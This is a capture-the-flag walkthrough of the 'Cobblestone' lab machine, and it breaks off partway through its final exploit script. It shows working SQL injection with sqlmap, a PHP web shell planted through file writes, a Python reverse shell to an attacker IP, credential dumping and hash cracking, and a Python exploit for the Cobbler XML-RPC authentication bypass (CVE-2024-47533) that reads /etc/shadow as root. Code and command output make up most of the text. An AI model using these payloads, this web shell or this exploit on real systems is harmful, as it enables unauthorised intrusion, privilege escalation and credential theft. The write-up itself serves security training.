RECON
Port Scan
$ rustscan -a $target_ip --ulimit 2000 -r 1-65535 -- -A sS -Pn
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
| 256 50:ef:5f:db:82:03:36:51:27:6c:6b:a6:fc:3f:5a:9f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBCfBUkQ4szy00s+EbTzIMq4Cv/mOkGWCD8xewIgvZ4zDI5pPhUaVYNsPaUmYzXgi0DzCy6s//8a1YFcyH398Nc=
| 256 e2:1d:f3:e9:6a:ce:fb:e0:13:9b:07:91:28:38:ec:5d (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICuDtua7ciUfRA2uUH+ergsCOdq0Aaoakru1kQ9/OWPs
80/tcp open http syn-ack Apache httpd 2.4.62
|_http-title: Did not follow redirect to http://cobblestone.htb/
|_http-server-header: Apache/2.4.62 (Debian)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernelA classic Linux starter, signaling that our opening move should be through the web..
Port 80
A Minecraft-themed gaming portal greets us:

The layout feels oddly familiar—three clear points of entry:
deploy.cobblestone.htb
cobblestone.htb/skins.php
vote.cobblestone.htbThe vote subdomain hosts a login panel with self-registration enabled:

The voting feature itself is smoke and mirrors, but it allows server interaction via a URL parameter for suggestions:

Approval is irrelevant—what matters is we've established a rudimentary request–response channel. The id parameter begins at 4 and increments upward:

A textbook IDOR emerges:

An exploitable attack vector revealed.
WEB
SQLi
Entry Discovery
Dropping a simple a' into the suggestion POST request throws us into an unexpected error state:

No output—just a broken page.
Switch to a'-- - and the server half-reveals its hand: HTML returns, but the data payload is stripped clean:

A faint but promising signal—possible SQL injection territory.
Sqlmap
Capture the suggest request for offline work:

With no rate limiting in sight, we're free to unleash payloads without restraint. Dial up the flags and fire:
sqlmap -r suggest.req -p url \
--dbs \
--risk=3 --level=5 \
--batchSQLi confirmed:

Post Injection
sqlmap has already fingerprinted:
“I found a UNION-based SQL injection on parameter
urlusing 5 columns, and here's the exact payload I used to prove it.”Parameter: url (POST) Type: UNION query Title: Generic UNION query (NULL) - 5 columns Payload: url=-4680' UNION ALL SELECT NULL,CONCAT(0x7162786b71,0x73434e574973764e4a5842735261776b5858636569534f5666686d72715a517571706d4761637166,0x716a7a7071),NULL,NULL,NULL-- -
Minimal Proof-of-Concept:
url=' UNION ALL SELECT NULL,'Axura',NULL,NULL,NULL-- -From here, sqlmap can pivot to data extraction or filesystem access.
Enumeration
List databases:
$ sqlmap -r suggest.req -p url \
--dbs \
--batch
available databases [2]:
[*] information_schema
[*] voteList tables in vote:
$ sqlmap -r suggest.req -p url \
-D vote --tables \
--batch
Database: vote
[2 tables]
+-------+
| users |
| votes |
+-------+Column hunt in users:
$ sqlmap -r suggest.req -p url \
-D vote -T users --columns
[02:08:43] [INFO] retrieved: id
[02:08:48] [INFO] retrieved: username
[02:09:01] [INFO] retrieved: firstname
[02:09:13] [INFO] retrieved: email
[02:13:00] [INFO] retrieved: lastname
[02:13:47] [INFO] retrieved: passwordDump credentials:
$ sqlmap -r suggest.req -p url \
-D vote -T users \
-C username,password \
--dump --batch
Database: vote
Table: users
[2 entries]
+----------+--------------------------------------------------------------+
| username | password |
+----------+--------------------------------------------------------------+
| admin | $2y$10$6XMWgf8RN6McVqmRyFIDb.6nNALRsA./u4HAF2GIBs3xgZXvZjv86 |
| axura | $2y$10$ZDqxFveA3d6eYI.0JlpZauum/mbn3eCLLr5QFqNFtSebnOkhUnYRe |
+----------+--------------------------------------------------------------+Heavy hashes though.
File Read / Write
Once we confirmed UNION-based injection, we can check if a file exists on the target system using MySQL's LOAD_FILE() function—sqlmap has built-in features (--file-read, --file-write) for convenience.
Read primitive:
$ sqlmap -r suggest.req -p url --batch \
--file-read="/etc/passwd"
files saved to [1]:
[*] /home/Axura/.local/share/sqlmap/output/vote.cobblestone.htb/files/_etc_passwd (same file)
$ cat /home/Axura/.local/share/sqlmap/output/vote.cobblestone.htb/files/_etc_passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:107::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:101:109:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
sshd:x:102:65534::/run/sshd:/usr/sbin/nologin
cobble:x:1000:1000:cobble,,,:/home/cobble:/bin/rbash
mysql:x:103:112:MySQL Server,,,:/nonexistent:/bin/false
tftp:x:104:113:tftp daemon,,,:/srv/tftp:/usr/sbin/nologin
_laurel:x:999:996::/var/log/laurel:/bin/false
john:x:1001:1001:,,,:/home/john:/bin/bashIdentified local users: john, cobble.
Write primitive:
Proved we can even write files outside the webroot:
$ echo '<?php @system($_REQUEST["x"]); echo "hello world" ?>' > shell.php
$ sqlmap -r suggest.req -p url --batch \
--file-write="shell.php" \
--file-dest="/tmp/pwned"
files saved to [1]:
[*] /home/Axura/.local/share/sqlmap/output/vote.cobblestone.htb/files/_tmp_pwned (same file)
$ cat /home/Axura/.local/share/sqlmap/output/vote.cobblestone.htb/files/_tmp_pwned
<?php @system($_REQUEST["x"]); echo "hello world" ?>Once webroot placement is confirmed, trigger it for a reverse shell—full control achieved.
Should this be unintended for an insane-level machine?
RCE
Web Shell
With the file write primitive in our pocket, the objective shifts—plant a payload where Apache will happily serve and execute it. A lightweight PHP web shell becomes our delivery vehicle.
The server fingerprint reveals Debian running Apache 2.4.62:

First step—pull Apache's site configuration to map the terrain:
/etc/apache2/sites-enabled/000-default.confLeak the file via the read primitive:
<VirtualHost *:80>
RewriteEngine On
RewriteCond %{HTTP_HOST} !^cobblestone.htb$
RewriteRule /.* http://cobblestone.htb/ [R]
ServerName 127.0.0.1
ProxyPass "/cobbler_api" "http://127.0.0.1:25151/"
ProxyPassReverse "/cobbler_api" "http://127.0.0.1:25151/"
</VirtualHost>
<VirtualHost *:80>
ServerName cobblestone.htb
ServerAdmin [email protected]
DocumentRoot /var/www/html
<Directory /var/www/html>
AAHatName cobblestone
</Directory>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
RewriteEngine On
RewriteCond %{HTTP_HOST} !^cobblestone.htb$
RewriteRule /.* http://cobblestone.htb/ [R]
Alias /cobbler /srv/www/cobbler
<Directory /srv/www/cobbler>
Options Indexes FollowSymLinks
AllowOverride None
Require all granted
</Directory>
</VirtualHost>
<VirtualHost *:80>
ServerName deploy.cobblestone.htb
ServerAdmin [email protected]
DocumentRoot /var/www/deploy
RewriteEngine On
RewriteCond %{HTTP_HOST} !^deploy.cobblestone.htb$
RewriteRule /.* http://deploy.cobblestone.htb/ [R]
</VirtualHost>
<VirtualHost *:80>
ServerName vote.cobblestone.htb
ServerAdmin [email protected]
DocumentRoot /var/www/vote
RewriteEngine On
RewriteCond %{HTTP_HOST} !^vote.cobblestone.htb$
RewriteRule /.* http://vote.cobblestone.htb/ [R]
</VirtualHost>Three viable drop zones:
/var/www/html→ maincobblestone.htb/var/www/deploy→deploy.cobblestone.htb/var/www/vote→vote.cobblestone.htb(injection point's host)
Take the one we prefer and attempt to plant a shell
sqlmap -r suggest.req -p url --batch \
--file-write="shell.php" \
--file-dest="/var/www/html/.index.php"Test the minimal PHP command executor via http://cobblestone.htb/.index.php?x=id:

Reverse Shell
However, it seems path /var/www/html is protected. We verified curl is in PATH (via which curl) but it cannot reach our attacker IP—Internet egress is blocked.
After some tests, I found out path /var/www/vote is not restricted though, thus we can write our small evil shell (PHP file size is restricted as well) on the target:
sqlmap -r suggest.req -p url --batch \
--file-write="shell.php" \
--file-dest="/var/www/vote/.index.php"Through http://vote.cobblestone.htb/.index.php, trigger a reverse shell where Python is verified to be installed:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.12.11",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'The line bites—www-data is now ours:

Web root user www-data compromised.
USER
With the web foothold secured, the next phase is classic post-exploitation—pull every config file worth reading.
Database Breach
This is a directory tree I found out via the previous web shell under /var/www/html (before managing to get a reverse shell), by running ls -R for a full view on the web root /var/www/html:
/var/www/html
├── composer.json
├── composer.lock
├── index.php
├── login.php
├── login_verify.php
├── logout.php
├── register.php
├── upload.php
├── suggest_skin.php
├── skins.php
├── skins_app_admin_server_info.php
├── download.php
├── preview_banner.php
├── user.php
├── db/
│ └── connection.php
├── css/
│ ├── all.min.css
│ ├── bootstrap.min.css
│ └── stylesheet.css
├── js/
│ ├── bootstrap.bundle.min.js
│ ├── firefly.js
│ ├── jquery.min.js
│ └── main.js
├── img/
│ ├── forums.png
│ ├── logo.png
│ ├── minecraft.jpg
│ ├── store.png
│ └── vote.png
├── skins/
│ ├── dog1234.png
│ ├── eldeathly.png
│ ├── niftysmith.png
│ ├── paulgg.png
│ ├── sword4000.png
│ └── preview_*.png
├── templates/ # Twig views
│ ├── downloads.html.twig
│ ├── footer.html.twig
│ ├── header.html.twig
│ ├── suggest.html.twig
│ ├── suggestform.html.twig
│ ├── upload.html.twig
│ └── user.html.twig
├── vendor/
│ ├── autoload.php
│ ├── composer/ # Composer autoload metadata
│ ├── symfony/ # polyfills, contracts
│ └── twig/twig/ # Twig engine
└── webfonts/
├── fa-*.ttf
└── fa-*.woff2The suspicious db directory contains a configuration file that exposes the creds of the cobblestone database:
// connection.php under /var/www/html/db
<?php
$dbserver = "localhost";
$username = "dbuser";
$password = "aichooDeeYanaekungei9rogi0eMuo2o";
$dbname = "cobblestone";
$conn = new mysqli($dbserver, $username, $password, $dbname);
// Check connection
if ($conn->connect_errno > 0) {
die("Connection failed: " . $conn->connect_error);
}
?>While under
/var/www/vote, the differentdb/connection.phpcontains creds of another databasevote:PHP// connection.php under /var/www/vote/db <?php $dbserver = "localhost"; $username = "voteuser"; $password = "thaixu6eih0Iicho]irahvoh6aigh>ie"; $dbname = "vote"; $conn = new mysqli($dbserver, $username, $password, $dbname); // Check connection if ($conn->connect_errno > 0) { die("Connection failed: " . $conn->connect_error); } ?>This is already popped during the SQLi phase, but still a candidate for password reuse checks.
So now, connecting locally to unexplored cobblestone in our reverse shell:
mysql -u dbuser -p'aichooDeeYanaekungei9rogi0eMuo2o' -h localhost cobblestoneOpen the vault:
MariaDB [cobblestone]> show databases;
show databases;
+--------------------+
| Database |
+--------------------+
| cobblestone |
| information_schema |
+--------------------+
2 rows in set (0.001 sec)
MariaDB [cobblestone]> use cobblestone;
use cobblestone;
Database changed
MariaDB [cobblestone]> show tables;
show tables;
+-----------------------+
| Tables_in_cobblestone |
+-----------------------+
| skins |
| suggestions |
| users |
+-----------------------+
3 rows in set (0.001 sec)
MariaDB [cobblestone]> select * from users;
select * from users;
+----+----------+-----------+----------+------------------------+-------+------------------------------------------------------------------+-------------+
| id | Username | FirstName | LastName | Email | Role | Password | register_ip |
+----+----------+-----------+----------+------------------------+-------+------------------------------------------------------------------+-------------+
| 1 | admin | admin | admin | [email protected] | admin | f4166d263f25a862fa1b77116693253c24d18a36f5ac597d8a01b10a25c560d1 | * |
| 2 | cobble | cobble | stone | [email protected] | admin | 20cdc5073e9e7a7631e9d35b5e1282a4fe6a8049e8a84c82987473321b0a8f4d | * |
+----+----------+-----------+----------+------------------------+-------+------------------------------------------------------------------+-------------+
2 rows in set (0.001 sec)The users table dropped two accounts—admin and cobble—SHA-256 hashes without salts:
$ hashcat --identify '20cdc5073e9e7a7631e9d35b5e1282a4fe6a8049e8a84c82987473321b0a8f4d'
The following 8 hash-modes match the structure of your input hash:
# | Name | Category
======+============================================================+======================================
1400 | SHA2-256 | Raw Hash
17400 | SHA3-256 | Raw Hash
11700 | GOST R 34.11-2012 (Streebog) 256-bit, big-endian | Raw Hash
6900 | GOST R 34.11-94 | Raw Hash
17800 | Keccak-256 | Raw Hash
1470 | sha256(utf16le($pass)) | Raw Hash
20800 | sha256(md5($pass)) | Raw Hash salted and/or iterated
21400 | sha256(sha256_bin($pass)) | Raw Hash salted and/or iteratedhashcat (mode 1400) cracked cobble's hash clean:
$ echo "f4166d263f25a862fa1b77116693253c24d18a36f5ac597d8a01b10a25c560d1" > hashes.txt
$ echo "20cdc5073e9e7a7631e9d35b5e1282a4fe6a8049e8a84c82987473321b0a8f4d" >> hashes.txt
$ hashcat -m 1400 hashes.txt /usr/share/wordlists/rockyou.txt --force
20cdc5073e9e7a7631e9d35b5e1282a4fe6a8049e8a84c82987473321b0a8f4d:iluvdannymorethanyouknow
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1400 (SHA2-256)
Hash.Target......: 20cdc5073e9e7a7631e9d35b5e1282a4fe6a8049e8a84c82987...0a8f4d/etc/passwd confirmed cobble as a local user:
$ ls /home
chroot_jail cobble johnThe cracked credentials slid perfectly into SSH:

The session lands in a restricted bash (rbash), but the user flag is immediately accessible.
ROOT
Rbash
rbash—restricted bash—is essentially bash with shackles on. No cd, no PATH manipulation, no executing binaries with / unless blessed in $PATH. Output redirection? Dead. set +r? Forget it.
This is why our first web shell is restricted under
/var/www/html. But we just found out/var/www/voteshould be an exception, being in the allowed list.
Our binary sandbox inventory is bare:
cobble@cobblestone:~$ ls /bin -l
total 1964
-rwxr-xr-x 1 root root 44016 Oct 1 2024 cat
-rwxr-xr-x 1 root root 203152 Oct 1 2024 grep
-rwxr-xr-x 1 root root 151344 Oct 1 2024 ls
-rwxr-xr-x 1 root root 146360 Oct 1 2024 ps
-rwxr-xr-x 1 root root 1265648 Oct 1 2024 rbash
-rwxr-xr-x 1 root root 193680 Oct 1 2024 ssBut ps and ss are enough to start poking the system's arteries.
Local Enum
Perform some basic system enumeration:
cobble@cobblestone:~$ ps -ef
UID PID PPID C STIME TTY TIME CMD
...
root 1037 1 0 07:21 ? 00:00:00 /sbin/wpa_supplicant -u -s -O DIR=/run/wpa_supplicant GROUP=netdev
root 1166 1 0 07:21 ? 00:00:07 /usr/bin/python3 /usr/local/bin/cobblerd -F
root 1168 1 0 07:21 ? 00:00:03 php-fpm: master process (/etc/php/8.2/fpm/php-fpm.conf)
root 1187 1 0 07:21 ? 00:00:00 /sbin/agetty -o -p -- \u --noclear - linux
root 1196 1 0 07:21 ? 00:00:00 /usr/sbin/in.tftpd --listen --user tftp --address :69 --secure /srv/tftp
www-data 1238 1168 0 07:21 ? 00:00:00 php-fpm: pool www
www-data 1240 1168 0 07:21 ? 00:00:00 php-fpm: pool www
mysql 1287 1 0 07:21 ? 00:00:09 /usr/sbin/mariadbd
root 1288 1 0 07:21 ? 00:00:03 /usr/sbin/apache2 -k start
www-data 97625 1288 0 13:35 ? 00:00:00 /usr/sbin/apache2 -k start
root 98060 2 0 13:38 ? 00:00:00 [kworker/u4:0-events_unbound]
www-data 104468 97625 0 14:02 ? 00:00:00 sh -c python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.12.11",4444));os.dup2
www-data 104470 104469 0 14:02 ? 00:00:00 sh
root 104556 2 0 14:03 ? 00:00:01 [kworker/1:2-events]
root 105772 2 0 14:08 ? 00:00:00 [kworker/u4:3-ext4-rsv-conversion]
root 108690 2 0 14:19 ? 00:00:00 [kworker/0:3-events]
www-data 108801 1288 0 14:19 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 109302 1288 0 14:20 ? 00:00:00 /usr/sbin/apache2 -k start
root 109303 1 0 14:20 ? 00:00:00 sshd: cobble [priv]
cobble 109394 1 0 14:21 ? 00:00:00 /lib/systemd/systemd --user
cobble 109395 109394 0 14:21 ? 00:00:00 (sd-pam)
cobble 109414 109303 0 14:21 ? 00:00:00 sshd: cobble@pts/1
cobble 109489 109414 0 14:21 ? 00:00:00 -rbash
root 109804 2 0 14:23 ? 00:00:00 [kworker/1:3-events]
www-data 111008 1288 0 14:27 ? 00:00:00 /usr/sbin/apache2 -k start
...
cobble@cobblestone:~$ ss -lntp
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 5 127.0.0.1:25151 0.0.0.0:*
LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*
LISTEN 0 128 [::]:22 [::]:*
cobble@cobblestone:~$ ss -lnup
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
UNCONN 0 0 0.0.0.0:69 0.0.0.0:*
UNCONN 0 0 [::]:69 [::]:*We see:
/usr/local/bin/cobblerd -Frunning as root and listening only on 127.0.0.1:25151.- Apache is up, PHP-FPM up, MariaDB bound to localhost, and TFTP (
/srv/tftp) is present and run on UDP port 69. - This is a classic Cobbler stack → abuse Cobbler's XML-RPC from localhost to read arbitrary files as root.
A provisioning daemon running as root with an exposed local API is basically an escalation service on demand.
Cobbler
To fully grasp how Cobbler operates, this may require us to have some fundamental knowledge of Linux kernel internals. But such a deep dive—covering topics like how the kernel boots with
initrd(formerlyinitramfs), or how it orchestrates filesystem management—is beyond the scope of this CTF write-up. It's also unnecessary for exploitation in this challenge. You can always find the best explanation in Linux Kernel documentation.
Basic Concepts
Clobberd
Cobbler is a Linux provisioning/PXE (Preboot Execute Environment) server used to automate OS installs. It keeps three kinds of objects:
- Distro: metadata for an OS build, mainly paths to a kernel and initrd that exist on the Cobbler host (e.g.,
/boot/vmlinuz-6.1.0-37-amd64,/boot/initrd.img-6.1.0-37-amd64). - Profile: an install recipe that points at one distro and adds config like kickstart templates.
- System: a concrete machine mapping that points at one profile and adds per-host tweaks (MAC/IP, templated files, etc.).
The Cobbler daemon (cobblerd) runs as root and exposes a management API—here bound to 127.0.0.1:25151.
Provisioning refers to the process of preparing and equipping a system or user with the necessary resources and services. It involves creating, modifying, or deleting user accounts and profiles, managing access permissions, and setting up IT infrastructure. This process is crucial for ensuring that users have the appropriate access to resources and services they need to perform their tasks effectively.
TFTP
TFTP (Trivial File Transfer Protocol, UDP/69) is used in PXE boot to deliver bootloaders, the kernel, and initrd to clients.
From the process list:
in.tftpd --secure /srv/tftpThis means it serves files from /srv/tftp. The --secure flag locks it to that directory, making it read-only—a critical path for PXE, though not our direct privilege escalation vector here unless writable.
XML-RPC
Think of Cobbler as a PXE/OS-provisioning orchestrator. It keeps an internal model of “what should exist” (distros, profiles, systems) and, when asked, materializes that model into files and directories that TFTP/HTTP serve to clients. The XML-RPC API is just the remote control for that model, which is a local (here, 127.0.0.1:25151) API that the cobbler CLI and web UI talk to.
Through this API, an authenticated user can create, modify, and save distros/profiles/systems, then run sync.
Sync
The sync operation is Cobbler's “make it real” button. When we call srv.sync(token):
- Cobbler reads its internal DB/state for all distros/profiles/systems.
- It verifies referenced paths (kernel/initrd) exist on disk.
- It generates or updates files under its managed trees, typically:
- TFTP tree (e.g.,
/srv/tftp) - Web tree (e.g.,
/srv/www/cobbleror/var/www/cobbler) - Internal template/cache under
/var/lib/cobbler/...
- TFTP tree (e.g.,
- It processes per-system template_files and copies/render them into a per-system area so they can be served or queried.
To be notice, because cobblerd runs as root, this file access occurs with full system privileges. That's the linchpin.
Critically, a System object's template_files can be defined as:
{"<source_path_on_host>": "<virtual_dest_path>"}<source_path_on_host>is any path on the Cobbler server (e.g.,/etc/shadow).<virtual_dest_path>is a logical name (e.g.,/leak) that Cobbler uses as a handle.
After sync, Cobbler opens the source (as root), reads it, and stores the content in its per-system template store under the destination handle.
Later, the XML-RPC method:
get_template_file_for_system("<system_name>", "<virtual_dest_path>")will return the captured file content—giving us an arbitrary file read primitive.
With a root-privileged daemon exposing a filesystem-referencing API, Cobbler offers a ripe attack surface.
CVE-2024-47533
Let's fingerprint the Cobbler version:
python3 - <<'PY'
import xmlrpc.client
s = xmlrpc.client.ServerProxy('http://127.0.0.1:25151/RPC2', allow_none=True)
print("cobbler version:", s.version())
PYCobbler version 3.306 detected:

The source code for this version is available here: cobbler/cobbler at v3.3.6.
Versions ≤ 3.3.6 (and 3.2.x < 3.2.3) are vulnerable to an improper authentication flaw in the XML-RPC service (CVE-2024-47533). The culprit: utils.get_shared_secret() returns -1 on failure:
def get_shared_secret() -> Union[str, int]:
"""
The 'web.ss' file is regenerated each time cobblerd restarts and is used to agree on shared secret interchange
between the web server and cobblerd, and also the CLI and cobblerd, when username/password access is not required.
For the CLI, this enables root users to avoid entering username/pass if on the Cobbler server.
:return: The Cobbler secret which enables full access to Cobbler.
"""
try:
with open("/var/lib/cobbler/web.ss", 'rb', encoding='utf-8') as fd:
data = fd.read()
except:
return -1
return str(data).strip()It's intended to read /var/lib/cobbler/web.ss, the shared secret for unauthenticated local access:

However, opening in binary mode ('rb') while specifying encoding='utf-8' in Python always raises:
binary mode doesn't take an encoding argumentThis exception is caught, and -1 is returned.
On the server side, remote.login() has a code path issuing a token when login_user == "".:
def login(self, login_user: str, login_password: str) -> str:
"""
Takes a username and password, validates it, and if successful returns a random login token which must be used
on subsequent method calls. The token will time out after a set interval if not used. Re-logging in permitted.
:param login_user: The username which is used to authenticate at Cobbler.
:param login_password: The password which is used to authenticate at Cobbler.
:return: The token which can be used further on.
"""
# if shared secret access is requested, don't bother hitting the auth plugin
if login_user == "":
if login_password == self.shared_secret:
return self.__make_token("<DIRECT>")
else:
utils.die("login failed")
...Because self.shared_secret had become the integer -1 from the previous get_shared_secret() logic, when we try login("", -1), this always return True:
if login_password == self.shared_secret # -1 == -1… and returned a valid admin token.
Exploit
With the official XML-RPC documentation and the full Remote API reference, we can now chain calls to:
- Authenticate via the
-1shared secret bug. - Create or modify a System with
template_filespointing to root-only files. - Run
syncto forcecobblerdto read it. - Fetch the file contents via
get_template_file_for_system().
In the last step, we'll wrap these into a single exploit script.
0. Connection Test
Despite the rbash restriction (no curl, wget), we can still use the -L option of ssh to forward the local Cobbler socket (port 25151), then drive Cobbler from our attacking box:
ssh -N -L 25151:127.0.0.1:25151 [email protected] &We can connect to Cobbler server bypassing authentication with empty username and password -1:
python3 - <<'PY'
import xmlrpc.client
io = xmlrpc.client.ServerProxy('http://127.0.0.1:25151/RPC2', allow_none=True)
try:
tok = io.login('', -1)
except Exception as e:
print(e)
exit(1)
print('[+] Token:', tok)
print('distros:', len(io.get_distros()))
print('profiles:', len(io.get_profiles()))
print('systems:', len(io.get_systems()))
PYAuthentication bypassed and we got a token:

- distros: 0 → No Cobbler distro defined (no kernel/initrd pair registered).
- profiles: 0 → No profile (no install recipe that points to a distro).
- systems: 0 → No system (no per-host entry that points to a profile).
The Cobbler inventory is empty, which is normal for a fresh or bare install. But it's fine for us—we'll create one distro, one profile, and one system to make sync do work and to leverage template_files for the file-read.
1. Login Probe
So the login probe script logic can be (ref):
#!/usr/bin/env python3
import xmlrpc.client, sys
# Clobber commonly would use one of these two endpoints
URLS = [
"http://127.0.0.1:25151/RPC2",
"http://127.0.0.1:25151/",
]
def connect():
for url in URLS:
try:
remote = xmlrpc.client.ServerProxy(url, allow_none=True)
try:
token = remote.login("","-1")
except xmlrpc.client.Fault as e:
print(f"[-] Login Failed: {e}")
sys.exit(1)
print(f"[+] Connected: {url}")
print("[+] Token:", token)
return remote, token
except Exception as e:
print(f"[-] Failed {url}: {e}")Then we can retrieve the remote data from the Clobbler server, illustrated in the documentation:
# Connect to Clobbler server and retrieve admin token
remote, token = connect()
# Getting remote data
print("distros:", len(remote.get_distros()))
print("profiles:", len(remote.get_profiles()))
print("systems:", len(remote.get_systems()))2. Create Distro
First, confirm kernel/initrd paths on the target—Cobbler's sync refuses bogus distros, so we must point to real files in /boot on the target. Verify them in user clobble's terminal:
cobble@cobblestone:~$ ls -1 /boot | grep -E '^vmlinuz|^initrd'
ls: cannot access '/boot': No such file or directoryYes we are in a jailed (chrooted) rbash environment. But remember our web shell (or reverse shell) under /var/www/vote is able to break it?
Run ls -l /vmlinuz /inird.img to confirm:


Those symlinks resolve to:
/vmlinuz -> /boot/vmlinuz-6.1.0-37-amd64/initrd.img -> /boot/initrd.img-6.1.0-37-amd64
Now we can create a new object referencing the official example, using the retrieved token:
distro_id = remote.new_distro(token)
remote.modify_distro(distro_id, "name", "my_distro", token)
remote.modify_distro(distro_id, "arch", "x86_64", token)
remote.modify_distro(distro_id, "kernel", "/boot/vmlinuz-6.1.0-37-amd64", token)
remote.modify_distro(distro_id, "initrd", "/boot/initrd.img-6.1.0-37-amd64", token)
remote.save_distro(distro_id, token)3. Create Profile
Next, use the new_profile method to create a profile, pointing at that our newly created distro via modify_profile call:
profile_id = remote.new_profile(tokent)
remote.modify_profile(profile_id, "name", "my_profile", token)
remote.modify_profile(profile_id, "distro", "my_distro", token)
remote.save_profile(profile_id, token)4. Create System
Finally, create a system via new_system, attach the file-read primitive on its internal template_files via modify_system:
SRC = "/etc/shadow" # change to any file later
DEST = "/whatever"
system_id = s.new_system(token)
remote.modify_system(system_id, "name", "my_system", token)
remote.modify_system(system_id, "profile", "my_profile", token)
remote.modify_system(system_id, "template_files", {SRC: DEST}, token)
remote.save_system(system_id, t)5. Trigger Sync
Trigger sync, then exfil via get_template_file_for_system to get the template (template_file) for the created system:
# make Cobbler (root) read TARGET during sync
remote.sync(token)
# return the bytes cached under DEST for system NAME
data = remote.get_template_file_for_system("my_system", DEST)
print("[+] Exfiltrated bytes:", len(date))
print(date, end="")6. EXP
Combine the steps above, tune up the final exploit script:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
# Title : cobbler_CVE-2024-47533.py — Cobbler XML-RPC exfil
# Author: Axura (@4xura) - https://4xura.com
# Tested: Cobbler 3.306 (≤ 3.3.6 vulnerable)
#
# Usage:
# python3 cobbler_CVE-2024-47533.py \
# -t http://127.0.0.1:25151 \
# -s /etc/shadow \
# --kernel /boot/vmlinuz-6.1.0-37-amd64 \
# --initrd /boot/initrd.img-6.1.0-37-amd64
#
# Optional: --breed debian (or redhat, etc.)
#
from dataclasses import dataclass
from urllib.parse import urlparse
import xmlrpc.client, argparse, uuid, sys
@dataclass
class CobblerConfig:
url: str
kernel: str
initrd: str
src: str
dest: str
breed: str
prefix: str
@dataclass
class CobblerNames:
distro: str
profile: str
system: str
class CobblerClient:
def __init__(self, cfg: CobblerConfig):
self.cfg = cfg
self.rpc, self.endpoint = connect_any(cfg.url)
self.token = None
def login(self):
try:
self.token = self.rpc.login("", -1) # CVE-2024-47533 weak shared-secret path
except xmlrpc.client.Fault as e:
raise RuntimeError(f"login failed: {e}")
return self.token
def create_distro(self, name: str):
d_id = self.rpc.new_distro(self.token)
self.rpc.modify_distro(d_id, "name", name, self.token)
self.rpc.modify_distro(d_id, "arch", "x86_64", self.token)
self.rpc.modify_distro(d_id, "kernel", self.cfg.kernel, self.token)
self.rpc.modify_distro(d_id, "initrd", self.cfg.initrd, self.token)
if self.cfg.breed:
self.rpc.modify_distro(d_id, "breed", self.cfg.breed, self.token)
try:
self.rpc.save_distro(d_id, self.token)
except xmlrpc.client.Fault as e:
raise RuntimeError(f"save_distro failed: {e}")
return d_id
def create_profile(self, name: str, distro_name: str):
p_id = self.rpc.new_profile(self.token)
self.rpc.modify_profile(p_id, "name", name, self.token)
self.rpc.modify_profile(p_id, "distro", distro_name, self.token)
try:
self.rpc.save_profile(p_id, self.token)
except xmlrpc.client.Fault as e:
raise RuntimeError(f"save_profile failed: {e}")
return p_id
def create_system(self, name: str, profile_name: str, src: str, dest: str):
s_id = self.rpc.new_system(self.token)
self.rpc.modify_system(s_id, "name", name, self.token)
self.rpc.modify_system(s_id, "profile", profile_name, self.token)
self.rpc.modify_system(s_id, "template_files", {src: dest}, self.token)
try:
self.rpc.save_system(s_id, self.token) # <-- fixed var name
except xmlrpc.client.Fault as e:
raise RuntimeError(f"save_system failed: {e}")
return s_id
def sync(self):
try:
self.rpc.sync(self.token)
except xmlrpc.client.Fault as e:
raise RuntimeError(f"sync failed: {e}")
def get_template(self, system_name: str, dest: str) -> str:
try:
return self.rpc.get_template_file_for_system(system_name, dest)
except xmlrpc.client.Fault as e:
raise RuntimeError(f"get_template_file_for_system failed: {e}")
def build_names(prefix: str) -> CobblerNames:
suf = uuid.uuid4().hex[:8]
return CobblerNames(
distro = f"{prefix}_distro_{suf}",
profile = f"{prefix}_profile_{suf}",
system = f"{prefix}_system_{suf}",
)
def _build_urls(base: str) -> list[str]:
"""
Accepts:
- http://127.0.0.1:25151
